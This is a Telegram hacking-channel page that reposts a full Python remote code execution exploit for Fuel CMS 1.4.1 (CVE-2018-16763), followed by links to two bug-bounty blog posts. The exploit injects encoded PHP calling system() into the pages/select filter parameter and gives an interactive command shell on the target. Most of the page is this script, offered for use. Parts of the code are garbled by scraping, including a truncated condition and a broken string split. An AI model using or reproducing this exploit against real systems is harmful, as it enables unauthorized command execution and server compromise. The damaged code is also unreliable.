Hacking Articles Tips Tricks Videos Tutorials
468 subscribers
65.8K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Fuel CMS 1.4.1 Remote Code Execution

https://4.bp.blogspot.com/-qWHV3SrNBkU/WWlu99WsXjI/AAAAAAAAIJ4/a1ff3k5st1g65kjfNuwTJpgcbLEB4bHEACLcBGAs/s1600/h116.png
Fuel CMS version 1.4.1 remote code execution exploit. Original discovery of remote code execution in this version is attributed to 0xd0ff9 in July of 2019.

MD5 | 6a8c2227f6944f30e13fa688f24841fe

Download
# Exploit Title: Fuel CMS 1.4.1 - Remote Code Execution (3)
# Exploit Author: Padsala Trushal
# Date: 2021-11-03
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <=
# Tested on: Ubuntu - Apache2 - php5
# CVE : CVE-2018-16763

#!/usr/bin/python3

import requests
from urllib.parse import quote
import argparse
import sys
from colorama import Fore, Style

def get_arguments():
parser = argparse.ArgumentParser(description='fuel cms fuel CMS 1.4.1 - Remote Code Execution Exploit',usage=f'python3 {sys.argv[0]} -u <url',epilog=f'EXAMPLE - python3 {sys.argv[0]} -u http://10.10.21.74')

parser.add_argument('-v','--version',action='version',version='1.2',help='show the version of exploit')

parser.add_argument('-u','--url',metavar='url',dest='url',help='Enter the url')

args = parser.parse_args()

if len(sys.argv)
parser.print_usage()
sys.exit()

return args
args = get_arguments()
url = args.url

if "http" not in url:
sys.stderr.write("Enter vaild url")
sys.exit()

try:
r = requests.get(url)
if r.status_code == 200:
print(Style.BRIGHT+Fore.GREEN+"[+]Connecting..."+Style.RESET_ALL)
except requests.ConnectionError:
print(Style.BRIGHT+Fore.RED+"Can't connect to url"+Style.RESET_ALL)
sys.exit()

while True:
cmd = input(Style.BRIGHT+Fore.YELLOW+"Enter Command $"+Style.RESET_ALL)

main_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+quote(cmd)+"%27%29%2b%27"

r = requests.get(main_url)

#
output = r.text.split('
')
print(output[0])
if cmd == "exit":
break
</code>

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video
HacktoberFest2k21 vulnerability: How users metadata can be changed via Auth JWT tokens leaking from…

Hello Awesome readers 👨‍💻,Continue reading on Medium »
Read more...
HTML injection on chatbot

Hello everyone, my name is mundre as this is not my real name somebody has given this name to me and i loved it😁😎Continue reading on Medium »
Read more...